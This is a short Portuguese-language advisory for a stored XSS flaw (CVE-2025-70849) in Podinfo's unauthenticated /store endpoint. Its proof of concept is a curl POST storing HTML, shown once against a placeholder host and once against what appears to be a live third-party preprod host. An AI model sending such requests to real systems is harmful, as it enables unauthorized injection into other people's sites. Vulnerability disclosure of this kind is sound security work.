CVE-2025-70849: XSS Armazenado no Podinfo

Resumo

Uma vulnerabilidade de segurança (CWE-79) foi identificada no Podinfo, uma aplicação web para demonstração de microsserviços Kubernetes. O recurso /store permite que usuários não autenticados enviem conteúdo HTML/JS arbitrário, resultando em XSS Armazenado.

Detalhes da Vulnerabilidade

• ID do CVE: CVE-2025-70849
• Produto: Podinfo
• Endpoint Afetado: /store
• Tipo de Vulnerabilidade: Cross-Site Scripting Armazenado (XSS)
• Versões Afetadas: <= 6.10.0

Prova de Conceito (PoC)

1. Envie o payload malicioso:
   root@kitploit:~

   curl -X POST https://target/store -H "Content-Type: text/html" -d '<h1>CVE-2025-70849</h1>'
   

   exemplo com alvo ativo:
   root@kitploit:~

   curl -X POST https://podinfo.xcr.preprod55.prepd.eastus.kaas.sws.siemens.com/store -H "Content-Type: text/html" -d '<h1>CVE-2025-70849</h1>'